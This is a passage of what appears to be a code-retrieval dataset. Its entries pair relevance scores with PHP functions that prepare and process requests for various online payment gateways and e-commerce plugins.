0) {\n $this->_order_status_complete = ADDONS_PAYMENT_QUICKPAY_PAYMENTS_ORDER_STATUS_COMPLETE_ID;\n }\n\n if (is_object($order)) $this->update_status();\n // Store online payment options in local variable\n for ($i = 1; $i <= $this->num_groups; $i++) {\n if (defined('ADDONS_PAYMENT_QUICKPAY_PAYMENTS_GROUP' . $i) && constant('ADDONS_PAYMENT_QUICKPAY_PAYMENTS_GROUP' . $i) != '') {\n if (!isset($this->creditcardgroup[constant('ADDONS_PAYMENT_QUICKPAY_PAYMENTS_GROUP' . $i . '_FEE')])) {\n $this->creditcardgroup[constant('ADDONS_PAYMENT_QUICKPAY_PAYMENTS_GROUP' . $i . '_FEE')] = array();\n }\n $payment_options = preg_split('[\\,\\;]', constant('ADDONS_PAYMENT_QUICKPAY_PAYMENTS_GROUP' . $i));\n foreach ($payment_options as $option) {\n $msg .= $option;\n $this->creditcardgroup[constant('ADDONS_PAYMENT_QUICKPAY_PAYMENTS_GROUP' . $i . '_FEE')][] = $option;\n }\n \n\t\t \n }\n\t\t\t\n }\n if (defined('ADDONS_PAYMENT_QUICKPAY_PAYMENTS_TESTMODE') && ADDONS_PAYMENT_QUICKPAY_PAYMENTS_TESTMODE == '1') {\n $this->iframe_relay_url = 'https://secure.quickpay.dk/form/'; // sandbox url\n } else {\n $this->iframe_relay_url = 'https://secure.quickpay.dk/form/'; // production url\n }\n // $this->iframe_params = $this->_getIframeParams();\n //$this->form_action_url = lc_href_link(FILENAME_CHECKOUT, 'payment_template', 'SSL', true, true, true) ; \n $this->form_action_url = 'https://secure.quickpay.dk/form/';\n }", "title": "" }, { "docid": "6e3236364e96e27b4710fdc4aa40bdb1", "score": "0.5945014", "text": "private function prepareMailData(){\n\n\t\t//TODO add orders, for the orderId\n\t\t//TODO add registering userdata\n\t\t// In general we need for every mail the shopperdata (with group), the vendor data, shopperemail, shopperusername, and so on\n\t}", "title": "" }, { "docid": "1315df5a46da381d6f15f9c9ff965da8", "score": "0.5923039", "text": "public function prepareRequest()\n {\n $this->validate();\n\n $requestData = array(\n 'orderId' => $this->adminBuilder->orderId\n );\n\n $orderRowIds = array();\n if ($this->isDeliverOrderRows === true) {\n $orderRowIds = $this->adminBuilder->rowsToDeliver;\n }\n $requestData['orderRowIds'] = $orderRowIds;\n\n return $requestData;\n }", "title": "" }, { "docid": "b0e1de60b407dd9262361a505e82af3a", "score": "0.5919719", "text": "public function getData()\n {\n // make sure we have the mandatory fields\n $this->validate('MerchantCode', 'RefNo', 'UserEmail', 'Amount', 'Currency', 'ProdDesc', 'UserName', 'UserContact', 'Signature', 'ResponseURL', 'BackendURL');\n\n // merchant details\n $data['MerchantCode'] = $this->getMerchantCode();\n $data['Lang'] = $this->getLang();\n $data['MerchantLogo'] = $this->getLogoUrl();\n $data['Remark'] = $this->getRemark();\n $data['Signature'] = $this->getSignature();\n \n // customer details\n $data['UserEmail'] = $this->getUserEmail();\n $data['UserName'] = $this->getUserName();\n $data['UserContact'] = $this->getUserContact();\n \n // payment details\n $data['Amount'] = $this->getAmount();\n $data['Currency'] = $this->getCurrency();\n $data['ProdDesc'] = $this->getProdDesc();\n $data['PaymentId'] = $this->getPaymentId();\n $data['ActionType'] = $this->getActionType();\n $data['ResponseURL'] = $this->getResponseURL();\n $data['BackendURL'] = $this->getBackendURL();\n \n return $data;\n }", "title": "" }, { "docid": "c97399809d6c107acd1336790701208d", "score": "0.59134376", "text": "public function __construct()\n {\n\n self::setDebugMode(false);\n // Set the variables using a static method\n self::setMerchantId(config('payzone.payzone_merchant_id') ?? env('PAYZONE_MERCHANT_ID'));// Enter the merchant ID from the MMS\n self::setMerchantPassword(config('payzone.payzone_merchant_pass') ?? env('PAYZONE_MERCHANT_PASS'));// Enter the merchant Password from the MMS\n self::setPreSharedKey(config('payzone.payzone_pre_shared_key') ?? env('PAYZONE_PRE_SHARED_KEY'));// Enter the pre shared key from the MMS\n self::setSecretKey('');// secret key used to protect and verify data\n self::setIntegrationType(Constants\\INTEGRATION_TYPE::DIRECT);\n self::setHashMethod(Constants\\HASH_METHOD::SHA1);\n self::setTransactionType(Constants\\TRANSACTION_TYPE::SALE);\n self::setResultDeliveryMethod(Constants\\RESULT_DELIVERY_METHOD::POST);#Only Used for Hosted Payment Form\n self::setCurrencyCode('GBP');\n self::setHostedIframe(false);\n self::setHostedCustomerDetails(true);\n self::setPayzoneImages(true);\n self::setOrderDetails(true);\n\n // Set the URLS to be used for passing the information back and forth between the site\n self::setURL('home-page', config('payzone.home-page') ?? '/'); #Home page, assigns the base URL to the start of the url\n self::setURL('cart-page', config('payzone.cart-page') ?? 'cart'); #Cart page, assigns the base URL to the start of the url\n self::setURL('payment-page', config('payzone.payment-page') ?? 'payment'); #Payment page, handles the logic of the payment type, # and redirects to the relevant payment processing function\n self::setURL('process-payment', config('payzone.process-payment') ?? 'payment-process'); #processes the payment as required\n self::setURL('process-refund', config('payzone.process-refund') ?? 'process-refund'); #processes the payment as required\n self::setURL('result-page', config('payzone.result-page') ?? 'payment-success'); # validates and presents the results\n self::setURL('loading-page', config('payzone.loading-page') ?? 'assets/loading.html'); # Loading page\n self::setURL('form-action-payment');# no variable needed, for hosted this sets the page to the hosted form payment handler (MMS) and for other integrations it changes the the form action to self so the content will be posted back to the same page\n self::setURL('response-form-handler');# no variable needed, this accesses the form handler in the MMS\n\n\n }", "title": "" }, { "docid": "4aadf73c9dfc9de022dda336955dd5bd", "score": "0.5890733", "text": "protected function preparePayload() {\n\n $this->validateInput();\n\n return [\n 'transactionType' => $this->transactionType,\n 'referenceTransactionId' => $this->payload['referenceTransactionId'],\n 'vendorTxCode' => $this->payload['vendorTxCode'] . time(),\n 'amount' => $this->payload['amount'],\n 'currency' => $this->payload['currency'],\n 'description' => $this->payload['description'],\n 'shippingDetails' => [\n 'recipientFirstName' => $this->payload['shippingDetails']['recipientFirstName'],\n 'recipientLastName' => $this->payload['shippingDetails']['recipientLastName'],\n 'shippingAddress1' => $this->payload['shippingDetails']['shippingAddress1'],\n 'shippingCity' => $this->payload['shippingDetails']['shippingCity'],\n 'shippingPostalCode' => $this->payload['shippingDetails']['shippingPostalCode'],\n 'shippingCountry' => $this->payload['shippingDetails']['shippingCountry'],\n ],\n ];\n\n }", "title": "" }, { "docid": "88f0958afce77630e588d9cd066b3c50", "score": "0.5861678", "text": "function _pp_order_prepare_base(&$variables) {\n $variables['vyska_otvor'] = _getAsCm($variables['form']['height']);\n $variables['sirka_otvor'] = _getAsCm($variables['form']['width']);\n\n $variables['kontaktni_osoba'] = check_plain($variables['form']['person']);\n $variables['spolecnost'] = check_plain($variables['form']['organization']);\n $variables['ulice'] = check_plain($variables['form']['street']);\n $variables['cp'] = check_plain($variables['form']['street_number']);\n $variables['psc'] = check_plain($variables['form']['zip']);\n $variables['mesto'] = check_plain($variables['form']['city']);\n $variables['email'] = check_plain($variables['form']['email']);\n $variables['telefon'] = check_plain($variables['form']['phone']);\n $variables['poznamka'] = empty($variables['form']['notes']) ? '---' : check_plain($variables['form']['notes']);\n\n $variables['email_obchod'] = variable_get('pp_order_email_poptavky', '[email protected]');\n $variables['tel_obchod'] = variable_get('pp_order_tel_poptavky', '+420 731 566 609');\n}", "title": "" }, { "docid": "02500a6ce2b305bbf7e5169f6100babd", "score": "0.5849895", "text": "public function getData()\n {\n $this->validate('transactionId', 'amount', 'bindingId');\n\n $data = parent::getData();\n\n $data['orderNumber'] = $this->getTransactionId();\n $data['amount'] = $this->getAmount();\n //$data['cvc'] = 615;\n #$data['returnUrl'] = $this->getReturnUrl();\n $data['bindingId'] = $this->getBindingId();\n if ($this->getCurrency()) {\n $data['currency'] = $this->getCurrency();\n }\n if($this->getMdOrder()) {\n $data['mdOrder'] = $this->getMdOrder();\n }\n\n if ($this->getDescription()) {\n $data['description'] = $this->getDescription();\n }\n\n if ($this->getLanguage()) {\n $data['language'] = $this->getLanguage();\n }\n\n if ($this->getClientId()) {\n $data['clientId'] = $this->getClientId();\n }\n\n if ($this->getJsonParams()) {\n $data['jsonParams'] = $this->getJsonParams();\n }\n\n return $data;\n }", "title": "" }, { "docid": "66a3306d02885a9cfee94ee7a33a6157", "score": "0.5848548", "text": "public function prepareData()\n {\n $layoutData = $this->prepareLayoutData();\n $pageData = $this->preparePageData();\n\n $this\n ->addLayout($layoutData)\n ->addPage($pageData['slug'], $pageData['data'])\n ;\n }", "title": "" }, { "docid": "1a9329898818a9cf07becaf7b4392328", "score": "0.5827299", "text": "function initialize(){\n\n $this->createCheckSum();\n $this->transactionData = array_merge($this->transactionData, array('integrity_hash' => $this->integrityHash), array('meta' => $this->meta));\n \n if(isset($this->handler)){\n $this->handler->onInit($this->transactionData);\n }\n \n $json = json_encode($this->transactionData);\n echo '<html>';\n echo '<body>';\n echo '<center>Proccessing...<br /><img style=\"height: 50px;\" src=\"https://media.giphy.com/media/swhRkVYLJDrCE/giphy.gif\" /></center>';\n echo '<script type=\"text/javascript\" src=\"'.$this->baseUrl.'/flwv3-pug/getpaidx/api/flwpbf-inline.js\"></script>';\n echo '<script>';\n echo 'document.addEventListener(\"DOMContentLoaded\", function(event) {';\n echo 'var data = JSON.parse(\\''.$json.'\\');';\n echo 'getpaidSetup(data);';\n echo '});';\n echo '</script>';\n echo '</body>';\n echo '</html>';\n\n }", "title": "" }, { "docid": "66f194dd59383b51cf52be88d2464acd", "score": "0.58236396", "text": "static function main( $raw_post_data, $post_fields ) { \n $config =& CRM_Core_Config::singleton();\n \n require_once 'CRM/Utils/System.php';\n\t$headers = CRM_Utils_System::getAllHeaders();\n \n\t$custom_fields = quickpay_extract_custom_fields($post_fields);\n list( $mode, $module, $paymentProcessorID ) = self::getContext($custom_fields);\n $mode = $mode ? 'test' : 'live';\n require_once 'CRM/Core/BAO/PaymentProcessor.php';\n\t$paymentProcessor = CRM_Core_BAO_PaymentProcessor::getPayment($paymentProcessorID, $mode );\n \n $ipn =& self::singleton( $mode, $module, $paymentProcessor );\n \n // Create new response object\n $md5_secret = $paymentProcessor['password'];\n\tif(!quickpay_check_signature($post_fields, $md5_secret)) {\n\t\techo \"Message validation error.\\n\";\n\t\texit();\n\t}\n\t$status = quickpay_check_result($post_fields['qpstat']);\n\n // this is from the Quickpay module for Civicrm 3.2\n\t$ipn->orderStateChange($succes, $custom_fields, $module, $post_fields['transaction']);\n // but maybe I should do this instead:\n /*\n $success = FALSE;\n if ($status == 'success') {\n $success = TRUE;\n }\n $ipn->newOrderNotify($success, $custom_fields, $module, $post_fields['amount'], $post_fields['transaction']);\n */\n /*\n // In the example at http://wiki.civicrm.org/confluence/display/CRMDOC40/Example+of+Creating+A+Payment+Processor+Extension\n // they do this to redirect at the end, but Quickpay already knows this from the returnURL\n\t//\n // Redirect our users to the correct url.\n if ($module == \"event\") {\n $finalURL = CRM_Utils_System::url('civicrm/event/register', \n \"_qf_ThankYou_display=1&qfKey={$custom_fields['qfKey']}\", true, null, false);\n }\n elseif ($module == \"contribute\") {\n $finalURL = CRM_Utils_System::url('civicrm/contribute/transact', \n \"_qf_ThankYou_display=1&qfKey={$custom_fields['qfKey']}\", true, null, false);\n }\n\n CRM_Utils_System::redirect( $finalURL );\n */\n }", "title": "" }, { "docid": "fb0967f6f65385ba9935a7ba003b9a62", "score": "0.5809498", "text": "public function PaymentRequest()\n {\n $result = $this->post_data($this->getApiUrl('/rest/pg/pay-request/'.$this->pay_request_format));\n $result = json_decode($result,true);\n if ($result['status']==1)\n $this->pay_url = $result['pay_url'];\n\n return $result;\n }", "title": "" }, { "docid": "28da97e58257b8007b400a7af8db987f", "score": "0.5796928", "text": "protected function _ConstructPostData($postData)\n\t\t{\n\n\t\t\t$ccnum = $postData['ccno'];\n\t\t\t$currency = GetDefaultCurrency();\n\n\t\t\t$billingDetails = $this->GetBillingDetails();\n\n\t\t\t$this->identifier = substr(sha1(time()),0,10);\n\n \t$gatewayData = array\n\t\t\t(\n\t\t\t\t'TerminalID' => $this->GetValue('terminalid'),\n\t\t\t\t'ProgramType' => $this->GetValue('programtype'),\n\t\t\t\t'CardNumber' => $ccnum,\n\t\t\t\t'Amount' => $this->GetGatewayAmount(),\n\t\t\t\t'ServerID' => $this->GetValue('serverid'),\n\t\t\t\t'Identifier' => $this->identifier\n\t\t\t);\n\n\t\t\treturn array('gatewayData'=>$gatewayData, 'soapAction'=>$this->soapAction);\n\t\t}", "title": "" }, { "docid": "d7dadb1dd72430443a580a8f3fda28ab", "score": "0.57885", "text": "public function get_data_array() {\n\t\t$required_fields = array(\n\t\t\t'amount' => strval( $this->get_amount() ),\n\t\t\t'currencyCode' => strval( $this->get_currency_numeric_code() ),\n\t\t\t'merchantId' => $this->get_merchant_id(),\n\t\t\t'normalReturnUrl' => $this->get_normal_return_url(),\n\t\t\t'transactionReference' => $this->get_transaction_reference(),\n\t\t\t'keyVersion' => strval( $this->get_key_version() ),\n\t\t);\n\n\t\t// Payment request - optional fields\n\t\t$optional_fields = array(\n\t\t\t'automaticResponseUrl' => $this->get_automatic_response_url(),\n\t\t\t'customerLanguage' => $this->get_customer_language(),\n\t\t\t'paymentMeanBrandList' => $this->get_payment_mean_brand_list(),\n\t\t\t'orderId' => $this->get_order_id(),\n\t\t\t'expirationDate' => $this->get_formatted_expiration_date(),\n\t\t);\n\n\t\t// @link http://briancray.com/2009/04/25/remove-null-values-php-arrays/\n\t\t$optional_fields = array_filter( $optional_fields );\n\n\t\t// Data\n\t\t$data = $required_fields + $optional_fields;\n\n\t\treturn $data;\n\t}", "title": "" }, { "docid": "f5422610a54bf80c32b65e905c21704c", "score": "0.5784312", "text": "function checkAndPrepare(Config $config) {\n\t\t$this->merchantId = $config->merchantId;\n\n\t\t$this->dttm = date(Client::DATE_FORMAT);\n\n\t\tif (!$this->payOperation) {\n\t\t\t$this->payOperation = self::OPERATION_PAYMENT;\n\t\t}\n\n\t\tif (!$this->payMethod) {\n\t\t\t$this->payMethod = \"card\";\n\t\t}\n\n\t\tif (!$this->currency) {\n\t\t\t$this->currency = \"CZK\";\n\t\t}\n\n\t\tif (!$this->language) {\n\t\t\t$this->language = \"CZ\";\n\t\t}\n\t\t\n\t\tif (!$this->ttlSec or !is_numeric($this->ttlSec)) {\n\t\t\t$this->ttlSec = 1800;\n\t\t}\n\n\t\tif ($this->closePayment === null) {\n\t\t\t$this->closePayment = $config->closePayment ? true : false;\n\t\t}\n\n\t\tif (!$this->returnUrl) {\n\t\t\t$this->returnUrl = $config->returnUrl;\n\t\t}\n\t\tif (!$this->returnUrl) {\n\t\t\tthrow new Exception(\"A ReturnUrl must be set - either by setting \\$returnUrl property, or by specifying it in Config.\");\n\t\t}\n\n\t\tif (!$this->returnMethod) {\n\t\t\t$this->returnMethod = $config->returnMethod;\n\t\t}\n\n\t\tif (!$this->description) {\n\t\t\t$this->description = $config->shopName.\", \".$this->orderNo;\n\t\t}\n\t\t$this->description = Strings::shorten($this->description, 240, \"...\");\n\n\t\t$this->customerId = Strings::shorten($this->customerId, 50, \"\", true, true);\n\n\t\tif (!$this->cart) {\n\t\t\tthrow new Exception(\"Cart is empty. Please add one or two items into cart using addCartItem() method.\");\n\t\t}\n\n\t\tif (!$this->orderNo or !preg_match('~^[0-9]{1,10}$~', $this->orderNo)) {\n\t\t\tthrow new Exception(\"Invalid orderNo - it must be a non-empty numeric value, 10 characters max.\");\n\t\t}\n\n\t\t$sumOfItems = array_sum(Arrays::transform($this->cart, true, \"amount\"));\n\t\t$this->totalAmount = $sumOfItems;\n\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "6f2f047f66e2c27d2a5e9fcd81bf40b9", "score": "0.5779145", "text": "abstract protected function prepare();", "title": "" }, { "docid": "c88b3cd27fda0eb68379f81343250aa1", "score": "0.576984", "text": "protected abstract function prepare(): void;", "title": "" }, { "docid": "922a0fcc67c93c6297f86ef2e56c9e82", "score": "0.57620525", "text": "protected function prepareRequest()\n {\n }", "title": "" }, { "docid": "5e531f93cf3832bb0c3e8769560d46a2", "score": "0.5756903", "text": "function _initialization() {\n\t\tif ($this->_debug) trigger_error(\"Докладывает -> \" . get_class($this). \" ! _initialization()\" , E_USER_NOTICE);\n\n\t\t/*** MODIFIED CODE BEGIN ***/\n\n\t\t$this->_url = \"https://www.e-gold.com/sci_asp/payments.asp\";\n\t\t$this->_method = \"POST\";\n\t\tif ($this->_mode == PAYMENT_ENGINE_SEND) {\n\t\t\t$this->makeRequiredField('return_good_method', 'POST');\n\t\t\t$this->makeRequiredField('return_bad_method', 'POST');\n\t\t\t$this->makeRequired('seller_id', 'amount', 'order_id', 'seller_name', 'return_good_url', 'return_bad_url', 'currency', 'metal_id', 'information');\n\t\t}\n\t\tif ($this->_mode == PAYMENT_ENGINE_RECEIVE) {\n\t\t\t//$this->makeRequired('secret_word');\n\t\t}\n\n\t\t/*** MODIFIED CODE END ***/\n\n\t\tif ($this->_debug) trigger_error(\"Отработал <- \" . get_class($this). \" ! _initialization().\" , E_USER_NOTICE);\n\t}", "title": "" }, { "docid": "13df76b32eae69f0c292646f49d4102b", "score": "0.5741799", "text": "public function prepareData()\n {\n return [\n 'user_id' => $this->auth->getActiveUser()->id,\n 'reply_id' => $this->reply_id\n ];\n }", "title": "" }, { "docid": "e041221a341c733e21ff98a0a6b07b1f", "score": "0.5736739", "text": "public function prepare()\n {\n }", "title": "" }, { "docid": "80cd5976aa4f7a0dc3a28897b1ef7c8d", "score": "0.5734421", "text": "protected function _prepare() {\r\n\r\n $params = 0;\r\n\r\n if (isset($this->page) OR isset($this->perPage) OR isset($this->params)){\r\n $this->url .= '?';\r\n }\r\n\r\n if (isset($this->params)) {\r\n\r\n $this->url .= \"$this->params\";\r\n $params++;\r\n }\r\n\r\n if (isset($this->perPage)) {\r\n\r\n if ($params > 0) {\r\n $this->url .= '&';\r\n }\r\n\r\n $this->url .= \"per_page=$this->perPage\";\r\n $params++;\r\n }\r\n\r\n if (isset($this->page)) {\r\n\r\n if ($params > 0) {\r\n $this->url .= '&';\r\n }\r\n\r\n $this->url .= \"page=$this->page\";\r\n $params++;\r\n }\r\n\r\n\r\n $this->grabber->setUrl($this->url);\r\n $this->response = $this->grabber->get();\r\n }", "title": "" }, { "docid": "ec5c51e6093f67b6c0e21ceaf1b17b6e", "score": "0.573419", "text": "public function prepareForCart()\n {\n $option = $this->getOption();\n $optionId = $option->getId();\n $buyRequest = $this->getRequest();\n\n // Prepare value and fill buyRequest with option\n $requestOptions = $buyRequest->getOptions();\n if ($this->getIsValid() && $this->getUserValue() !== null) {\n $value = $this->getUserValue();\n\n // Save option in request, because we have no $_FILES['options']\n $requestOptions[$this->getOption()->getId()] = $value;\n $result = $this->serializer->serialize($value);\n } else {\n /*\n * Clear option info from request, so it won't be stored in our db upon\n * unsuccessful validation. Otherwise some bad file data can happen in buyRequest\n * and be used later in reorders and reconfigurations.\n */\n if (is_array($requestOptions)) {\n unset($requestOptions[$this->getOption()->getId()]);\n }\n $result = null;\n }\n $buyRequest->setOptions($requestOptions);\n\n // Clear action key from buy request - we won't need it anymore\n $optionActionKey = 'options_' . $optionId . '_file_action';\n $buyRequest->unsetData($optionActionKey);\n\n return $result;\n }", "title": "" }, { "docid": "7ae0d841f3b8065e98f4ddceaec146a9", "score": "0.57194424", "text": "public function _prePayment( $data )\n {\n // prepare the payment form\n\n $vars = new JObject();\n $vars->order_id = $data['order_id'];\n $vars->orderpayment_id = $data['orderpayment_id'];\n $vars->orderpayment_amount = $data['orderpayment_amount'];\n $vars->orderpayment_type = $this->_element;\n $vars->img_url_std = $this->_getParam( 'img_url_std', 'https://www.paypal.com/en_US/i/btn/x-click-but20.gif' );\n $vars->img_url_mixed = $this->_getParam( 'img_url_mixed', 'https://www.paypal.com/en_US/i/btn/x-click-but02.gif' );\n\n // set paypal checkout type\n $order = JTable::getInstance('Orders', 'TiendaTable');\n $order->load( $data['order_id'] );\n $items = $order->getItems();\n $vars->is_recurring = $order->isRecurring();\n\n if ($vars->is_recurring) {\n //get the orderitem_attributes_price for the recurring item and then add to the $vars->amount\n //assumption that only 1 recurring per order\n $orderitems = JTable::getInstance('OrderItems', 'TiendaTable');\n $orderitems->load( array('order_id'=>$order->order_id, 'orderitem_recurs'=>'1') );\n }\n\n // if order has both recurring and non-recurring items,\n if ($vars->is_recurring && count($items) > '1') {\n $vars->cmd = '_cart';\n $vars->mixed_cart = true;\n // Adjust the orderpayment amount since it's a mixed cart\n // first orderpayment is just the non-recurring items total\n // then upon return, ask user to checkout again for recurring items\n $orderpayment = JTable::getInstance('OrderPayments', 'TiendaTable');\n $orderpayment->load( $vars->orderpayment_id );\n $vars->amount = $order->recurring_trial ? $order->recurring_trial_price : $order->recurring_amount;\n\n $vars->amount = $vars->amount + (float) $orderitems->orderitem_attributes_price;\n\n $orderpayment->orderpayment_amount = $orderpayment->orderpayment_amount - $vars->amount;\n $orderpayment->save();\n $vars->orderpayment_amount = $orderpayment->orderpayment_amount;\n } elseif ($vars->is_recurring && count($items) == '1') {\n // only recurring\n $vars->cmd = '_xclick-subscriptions';\n $this->_calculateTrialPeriod( $order );\n $vars->mixed_cart = false;\n } else {\n // do normal cart checkout\n $vars->cmd = '_cart';\n $vars->mixed_cart = false;\n }\n\n $product = JTable::getInstance('Products', 'TiendaTable');\n foreach ($items as $item) {\n $desc = $item->orderitem_name;\n $product->load( array('product_id'=>$item->product_id) );\n if (!empty($product->product_model)) {\n $desc .= ' | ('.JText::_('COM_TIENDA_MODEL').': '.$product->product_model;\n }\n if (!empty($item->orderitem_sku)) {\n $desc .= ' |'.JText::_('COM_TIENDA_SKU').': '.$item->orderitem_sku.')';\n }\n $item->_description = $desc;\n }\n\n $vars->order = $order;\n $vars->orderitems = $items;\n\n // set payment plugin variables\n $vars->merchant_email = $this->_getParam( 'merchant_email' );\n $vars->post_url = $this->_getPostUrl();\n\n // are there both recurring and non-recurring items in cart?\n // if so, then user must perform two checkouts,\n // so store a flag in the return_url\n $vars->return_url = JURI::root().\"index.php?option=com_tienda&view=checkout&task=confirmPayment&orderpayment_type=\".$this->_element.\"&paction=display_message&checkout=1\";\n $vars->cancel_url = JURI::root().\"index.php?option=com_tienda&view=checkout&task=confirmPayment&orderpayment_type=\".$this->_element.\"&paction=cancel\";\n $vars->notify_url = JURI::root().\"index.php?option=com_tienda&view=checkout&task=confirmPayment&orderpayment_type=\".$this->_element.\"&paction=process&tmpl=component\";\n $vars->currency_code = $this->_getParam( 'currency', 'USD' ); // TODO Eventually use: Tienda::getInstance()->get('currency');\n\n // set variables for user info\n $vars->first_name = $data['orderinfo']->shipping_first_name;\n $vars->last_name = $data['orderinfo']->shipping_last_name;\n $vars->email = $data['orderinfo']->user_email;\n $vars->address_1 = $data['orderinfo']->shipping_address_1;\n $vars->address_2 = $data['orderinfo']->shipping_address_2;\n $vars->city = $data['orderinfo']->shipping_city;\n\n //get 2-character IS0-3166-1 country code\n $countryTable = JTable::getInstance('Countries', 'TiendaTable');\n $countryTable->load( $data['orderinfo']->shipping_country_id );\n\n $vars->country = $countryTable->country_isocode_2;\n //$vars->country = $data['orderinfo']->shipping_country_name;\n $vars->region = $data['orderinfo']->shipping_zone_name;\n $vars->postal_code = $data['orderinfo']->shipping_postal_code;\n\n $html = $this->_getLayout('prepayment', $vars);\n\n return $html;\n }", "title": "" }, { "docid": "bd2c4fb9f5ceb8860684b1405f287bf0", "score": "0.57058746", "text": "function PaymentProcessor()\r\n\t{\r\n\t\t$this->pph = new PaymentProcessorHandler ();\r\n\t}", "title": "" }, { "docid": "50e3acb10903cd3e5884d018c276e2bf", "score": "0.56740546", "text": "public function get_request_data() {\n\n\t\t// required for every transaction\n\t\t$transaction_data = array(\n\t\t\t'x_login' => $this->api_login_id,\n\t\t\t'x_tran_key' => $this->api_transaction_key,\n\t\t\t'x_relay_response' => 'FALSE', // does not accept a boolean\n\t\t\t'x_response_format' => '2',\n\t\t\t'x_delim_data' => 'TRUE', // does not accept a boolean\n\t\t\t'x_delim_char' => '|',\n\t\t\t'x_encap_char' => ':',\n\t\t\t'x_solution_id' => 'A1000065',\n\t\t\t'x_version' => '3.1',\n\t\t\t'x_method' => 'CC',\n\t\t);\n\n\t\t// add request data\n\t\t$this->request_data = array_merge( $transaction_data, $this->request_data );\n\n\t\t/**\n\t\t * API Request Data\n\t\t *\n\t\t * Allow actors to modify the request data before it's sent to Authorize.Net\n\t\t *\n\t\t * @since 3.2.0\n\t\t * @param array $data request data to be filtered\n\t\t * @param \\WC_Order $order order instance\n\t\t * @param \\WC_Authorize_Net_AIM_API_Request $this, API request class instance\n\t\t */\n\t\t$this->request_data = apply_filters( 'wc_authorize_net_aim_api_request_data', $this->request_data, $this->order, $this );\n\n\t\t// remove any empty fields\n\t\tforeach ( $this->request_data as $key => $value ) {\n\n\t\t\tif ( '' === $value || null === $value ) {\n\t\t\t\tunset( $this->request_data[ $key ] );\n\t\t\t}\n\t\t}\n\n\t\treturn $this->request_data;\n\t}", "title": "" }, { "docid": "23979ceddd744b3b4e927a0b8eee6ee8", "score": "0.5666092", "text": "public function prepare();", "title": "" }, { "docid": "23979ceddd744b3b4e927a0b8eee6ee8", "score": "0.5666092", "text": "public function prepare();", "title": "" }, { "docid": "23979ceddd744b3b4e927a0b8eee6ee8", "score": "0.5666092", "text": "public function prepare();", "title": "" }, { "docid": "23979ceddd744b3b4e927a0b8eee6ee8", "score": "0.5666092", "text": "public function prepare();", "title": "" }, { "docid": "7fd1f73dab21015e386f979d5fd77c3a", "score": "0.5663911", "text": "public function getPayrouterData() {\n \t$paymentResponse = $this->getInfo()->getPosPaymentInfo();\n \t$jsonPayment = json_decode($paymentResponse);\n\n \t$data = null;\n\n \tif($jsonPayment !== false) {\n \t\t$data = $jsonPayment;\n \t}\n\n \treturn $data;\n }", "title": "" }, { "docid": "d9d01b3a5856789480e9c63c92d635c5", "score": "0.5655757", "text": "private function _getProcessVars($data)\r\n\t{\r\n\t\trequire_once JPATH_SITE . '/components/com_j2store/helpers/cart.php';\r\n\t\t$access = new J2StoreHelperCart();\r\n\t\t$amount = $access->getTotal();\r\n\t\trequire_once JPATH_SITE . '/components/com_j2store/helpers/utilities.php';\r\n\r\n\t\t$J2StoreUtilities = new J2StoreUtilities();\r\n\t\t$total_amount = $J2StoreUtilities->number($amount);\r\n\t\t$jinput = JFactory::getApplication()->input;\r\n\t\t$component = $jinput->getCmd('option'); \t\t\r\n\t\t$xml = JFactory::getXML(JPATH_SITE.'/administrator/components/com_j2store/manifest.xml');\r\n\t\t$comversion=(string)$xml->version;\t\r\n\t\t$paymillxml = JFactory::getXML(JPATH_SITE.'/plugins/j2store/payment_paymill/payment_paymill.xml');\t\r\n\t\t$pluginversion=(string)$paymillxml->version;\t\r\n\t\t$source = $pluginversion.'_'.$component.'_'.$comversion; \r\n\t\t$order_id = $data[\"order_id\"];\r\n\t\t$user = JFactory::getUser();\r\n\t\t$j2store_params = JComponentHelper::getParams('com_j2store');\r\n\t\t$currency_code = $j2store_params->get('currency_code');\r\n\t\t$params = array(\r\n\t\t\t\t'amount' => ($total_amount * 100), // Amount *100\r\n\t\t\t\t'currency' => $currency_code , // ISO 4217\r\n\t\t\t\t'token' => $data['token'],\r\n\t\t\t\t'description' => 'Order Id: '.$order_id,\r\n\t\t\t\t'source' => $source\r\n\t\t\t\t);\r\n\r\n\t\treturn $params;\r\n\t}", "title": "" }, { "docid": "e2f6b28faaddee2ffa294cbcae446d5e", "score": "0.5653879", "text": "function processPayment()\n {\n // Get Eth exchange rate\n $contents = file_get_contents(\n \"https://cgw.cryptany.io/data/rate\"\n );\n $eth_data = json_decode($contents, true);\n\n $merchId = Mage::getStoreConfig(\n 'payment/CAPayment/merchant_id',\n Mage::app()->getStore()\n );\n\n $merchCode = Mage::helper('core')->decrypt(\n Mage::getStoreConfig(\n 'payment/CAPayment/merchant_secret',\n Mage::app()->getStore()\n )\n );\n\n $order = new Mage_Sales_Model_Order();\n $orderId = Mage::getSingleton('checkout/session')->getLastRealOrderId();\n $order->loadByIncrementId($orderId);\n\n // check customer shipping address country\n $email = $order->getData()['customer_email'];\n $srcAmount = number_format(\n floatval($order->getGrandTotal())/floatval($eth_data['rate']), 6\n );\n\n // create parameters to deliver to gateway\n $postdata = http_build_query(\n array(\n 'email' => $email,\n 'orderId' => $orderId,\n 'srcAmount' => $srcAmount,\n 'dstAmount' => floatval($order->getGrandTotal()),\n 'url' => Mage::getUrl(\n 'capayment/payment/gateway', array('_secure' => true)\n )\n )\n );\n\n $authCode = base64_encode($merchId.\":\".$merchCode);\n\n // Generate wallet address:\n // create POST context to send data request\n $context = stream_context_create(\n array(\n 'http' => array(\n 'method' => 'POST',\n 'header' => 'Content-Type: application/x-www-form-urlencoded' . \n PHP_EOL . 'Authorization: Basic '.$authCode. PHP_EOL,\n 'content' => $postdata,\n ),\n )\n );\n\n // send actual request to register transaction\n $result = file_get_contents(\n $file = \"https://cgw.cryptany.io/magento/addr\",\n $use_include_path = false,\n $context\n );\n\n if ($result===false) { // process gateway call error\n Mage::log('Cryptany payment: Error requesting transaction details');\n return Mage::getUrl('checkout/onepage/error', array('_secure' => true));\n } else { // process success result\n $rArray = json_decode($result, true);\n $order->setAdditionalInformation('capayment', $result);\n $order->save();\n $session = Mage::getSingleton(\n \"core/session\", \n array(\"name\"=>\"frontend\")\n );\n // set data\n $session->setData(\"walletAddress\", $rArray['address']);\n $session->setData(\"walletHash\", $rArray['walletHash']);\n $session->setData(\"paymentSum\", $srcAmount);\n }\n }", "title": "" }, { "docid": "4f4aa92b29055dfa5ece55d27e659d8c", "score": "0.56498575", "text": "function initData() {\n\t\tif (isset($this->crosswalk)) {\n\t\t\t$fields =& $this->crosswalk->getFields();\n\t\t\t$fields =& 